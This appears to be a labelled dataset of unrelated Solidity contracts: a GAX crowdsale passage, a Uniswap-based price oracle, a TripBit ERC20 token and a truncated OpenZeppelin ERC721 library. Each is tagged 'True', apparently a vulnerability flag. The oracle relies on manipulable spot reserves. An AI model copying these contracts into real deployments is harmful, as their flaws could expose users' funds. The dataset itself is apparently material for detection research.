addressReserve){ require(now >= unlockDate1); if (now <= unlockDate2){ usedSummReserve = usedSummReserve.add(_value); require(usedSummReserve <= summReserve.div(2)); } } balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract GAX is Ownable, MintableToken { using SafeMath for uint256; string public constant name = "GAX"; string public constant symbol = "GaxCoin"; uint32 public constant decimals = 18; address public addressFounders; address public addressDevelopers; address public addressAdvisors; address public addressPrivateSale; uint256 public summFounders; uint256 public summDevelopers; uint256 public summAdvisors; uint256 public summPrivateSale; function GAX() public { addressFounders = 0x84BD54A29C146aba039469c7f75DFE59CfEBC392; addressDevelopers = 0xDdf1710D2C555786d2981CaBc986cc0e575b12F3; addressAdvisors = 0xab8367DF2F67f065242A13E3644138bc16312784; addressPrivateSale = 0x8a19501c2842bE5110f4Dc12234fB788BA1f5A97; // Token distribution summFounders = 40000000 * (10 ** uint256(decimals)); summDevelopers = 20000000 * (10 ** uint256(decimals)); summAdvisors = 20000000 * (10 ** uint256(decimals)); summReserve = 80000000 * (10 ** uint256(decimals)); summPrivateSale = 120000000 * (10 ** uint256(decimals)); mint(addressFounders, summFounders); mint(addressDevelopers, summDevelopers); mint(addressAdvisors, summAdvisors); mint(addressReserve, summReserve); mint(addressPrivateSale, summPrivateSale); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where Contributors can make * token Contributions and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. The contract requires a MintableToken that will be * minted as contributions arrive, note that the crowdsale contract * must be owner of the token in order to be able to mint it. */ contract Crowdsale is Ownable, usingOraclize { using SafeMath for uint256; GAX public token; // for ORACLIZE string public ETHUSD; uint256 rateGAXUSD; event updatedPrice(string price); event newOraclizeQuery(string description); // start and end timestamps where investments are allowed (both inclusive) uint256 public startICOStage1; uint256 public endICOStage1; uint256 public startICOStage2; uint256 public endICOStage2; uint256 public startICOStage3; uint256 public endICOStage3; uint256 public startICOStage4; uint256 public endICOStage4; //Hard cap uint256 public sumHardCapPublicSale; //token distribution uint256 public sumPublicSale; uint256 public minimumPayment; uint256 public totalSoldTokens; // how many token units a Contributor gets per wei uint256 public rateIco; //Whitelist subscriber, extra-bonus 5% in all steps mapping (address => uint32) public extraBonus; // address where funds are collected address public wallet; address public agencyWallet; // uint256 public unlockMintDate1; uint256 public unlockMintDate2; uint256 public usedResidualAmount; /** * event for token Procurement logging * @param contributor who Pledged for the tokens * @param beneficiary who got the tokens * @param value weis Contributed for Procurement * @param amount amount of tokens Procured */ event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount, address indexed referrer, uint256 amountReferrer); function Crowdsale() public { token = createTokenContract(); // rate; rateIco = 36408; //2 decimals rateGAXUSD = 909; //2 decimals // start and end timestamps where investments are allowed //start/end for stage of ICO startICOStage1 = 1536451200; // Sun, 09 Sep 2018 00:00:00 +0000 endICOStage1 = 1538956800; // Mon, 08 Oct 2018 00:00:00 +0000 startICOStage2 = 1538956800; // Mon, 08 Oct 2018 00:00:00 +0000 endICOStage2 = 1541462400; // Tue, 06 Nov 2018 00:00:00 +0000 startICOStage3 = 1541462400; // Tue, 06 Nov 2018 00:00:00 +0000 endICOStage3 = 1544054400; // Thu, 06 Dec 2018 00:00:00 +0000 startICOStage4 = 1544054400; // Thu, 06 Dec 2018 00:00:00 +0000 endICOStage4 = 1546732800; // Sun, 06 Jan 2019 00:00:00 +0000 unlockMintDate1 = 1578268800; // Mon, 06 Jan 2020 00:00:00 +0000 unlockMintDate2 = 1609891200; // Wed, 06 Jan 2021 00:00:00 +0000 sumHardCapPublicSale = 120000000 * 1 ether; minimumPayment = 100000000000000000; // 0.1 ether // address where funds are collected wallet = 0x5b251B70629f4502E4a666A20eF0ABBDc74417f7; agencyWallet = 0xbabE2C106e427a5000eA385080A7ED9B6927a1B6; } function setRateIco(uint256 _rateIco) public onlyOwner { rateIco = _rateIco; } // if bonus = 1 then extra Bonus = 5%. if bonus = 0 then extra Bonus = 0%. function setWhiteList(address _address, uint32 _bonus) public onlyOwner { extraBonus[_address] = _bonus; } function addAddressToWhiteList(address[] _addr) public onlyOwner { for(uint256 i = 0; i < _addr.length; i++) { extraBonus[_addr[i]] = 1; } } function subAddressToWhiteList(address[] _addr) public onlyOwner { for(uint256 i = 0; i < _addr.length; i++) { extraBonus[_addr[i]] = 0; } } // fallback function can be used to Procure tokens function () external payable { procureTokens(msg.sender); } function createTokenContract() internal returns (GAX) { return new GAX(); } function getRateIcoWithBonus() public view returns (uint256) { uint256 bonus; uint256 extrabonus; //extraBonus if (extraBonus[msg.sender] == 1){ extrabonus = 5; } //ICO if (now >= startICOStage1 && now < endICOStage1){ bonus = 50; } if (now >= startICOStage2 && now < endICOStage2){ bonus = 30; } if (now >= startICOStage3 && now < endICOStage3){ bonus = 20; } if (now >= startICOStage4 && now < endICOStage4){ bonus = 10; } return rateIco + rateIco.mul(bonus).div(100) + rateIco.mul(extrabonus).div(100); } function checkHardCap(uint256 _value) view internal { //PublicSale if (now >= startICOStage1 && now < endICOStage4){ require(_value.add(sumPublicSale) <= sumHardCapPublicSale); } } function adjustHardCap(uint256 _value) internal { //PublicSale if (now >= startICOStage1 && now < endICOStage4){ sumPublicSale = sumPublicSale.add(_value); } } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function procureTokens(address _beneficiary) public payable { uint256 tokens; uint256 weiAmount = msg.value; uint256 rate; uint256 referrerTokens; address referrer; require(weiAmount >= minimumPayment); require(now >= startICOStage1); require(now <= endICOStage4); require(_beneficiary != address(0)); rate = getRateIcoWithBonus(); tokens = weiAmount.mul(rate).mul(rateGAXUSD).div(10000); //referral system if(msg.data.length == 20) { referrer = bytesToAddress(bytes(msg.data)); require(referrer != msg.sender); //add tokens to the referrer referrerTokens = tokens.mul(5).div(100); // add tokens to the referral tokens = tokens + tokens.mul(5).div(100); } checkHardCap(tokens.add(referrerTokens)); adjustHardCap(tokens.add(referrerTokens)); updatePrice(); agencyWallet.transfer(weiAmount.mul(3).div(100)); //wallet.transfer(_this.balance); if (referrerTokens != 0){ token.mint(referrer, referrerTokens); } token.mint(_beneficiary, tokens); emit TokenProcurement(msg.sender, _beneficiary, weiAmount, tokens, referrer, referrerTokens); } function transferEthToWallet(uint256 _value) public onlyOwner { address _this = this; require(_this.balance >= _value); wallet.transfer(_value); } function mint(address _to, uint256 _amount) public onlyOwner { uint256 residualAmount; //Reserve 50% blocked for 1 years, 50% blocked for 2 years residualAmount = sumHardCapPublicSale.sub(sumPublicSale); require(now >= unlockMintDate1); usedResidualAmount = usedResidualAmount.add(_amount); if (now <= unlockMintDate2){ require(usedResidualAmount <= residualAmount.div(2)); } require(usedResidualAmount <= residualAmount); token.mint(_to, _amount); } function __callback(bytes32 /*myid*/, string result) public { require (msg.sender == oraclize_cbAddress()); rateIco = parseInt(result, 2); emit updatedPrice(result); } function updatePrice() public payable { address _this = this; if (oraclize_getPrice("URL") > _this.balance) { emit newOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee"); } else { emit newOraclizeQuery("Oraclize query was sent, standing by for the answer.."); oraclize_query("URL", "json(https://api.coinmarketcap.com/v1/ticker/ethereum/?convert=USD).0.price_usd"); } } }

True

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// SPDX-License-Identifier: UNLICENSED // https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol pragma solidity ^0.7.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // Copyright 2017 Loopring Technology Limited. /// @title Utility Functions for uint /// @author Daniel Wang - <[email protected]> library MathUint { function mul( uint a, uint b ) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b, "MUL_OVERFLOW"); } function sub( uint a, uint b ) internal pure returns (uint) { require(b <= a, "SUB_UNDERFLOW"); return a - b; } function add( uint a, uint b ) internal pure returns (uint c) { c = a + b; require(c >= a, "ADD_OVERFLOW"); } } // Copyright 2017 Loopring Technology Limited. /// @title PriceOracle interface PriceOracle { // @dev Return's the token's value in ETH function tokenValue(address token, uint amount) external view returns (uint value); } // Copyright 2017 Loopring Technology Limited. /// @title Uniswap2PriceOracle /// @dev Returns the value in Ether for any given ERC20 token. contract UniswapV2PriceOracle is PriceOracle { using MathUint for uint; IUniswapV2Factory factory; address wethAddress; constructor( IUniswapV2Factory _factory, address _wethAddress ) { factory = _factory; wethAddress = _wethAddress; require(_wethAddress != address(0), "INVALID_WETH_ADDRESS"); } function tokenValue(address token, uint amount) external view override returns (uint) { if (amount == 0) return 0; if (token == address(0) || token == wethAddress) return amount; address pair = factory.getPair(token, wethAddress); if (pair == address(0)) { return 0; } (uint112 reserve0, uint112 reserve1,) = IUniswapV2Pair(pair).getReserves(); if (reserve0 == 0 || reserve1 == 0) { return 0; } if (token < wethAddress) { return amount.mul(reserve1) / reserve0; } else { return amount.mul(reserve0) / reserve1; } } }

True

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pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TripBitToken is StandardToken { string public constant name = "TripBit"; // solium-disable-line uppercase string public constant symbol = "TBT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 700000000 * (10 ** uint256(decimals)); function TripBitToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }

True

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// Sources flattened with hardhat v2.3.0 https://hardhat.org // File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected] pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of 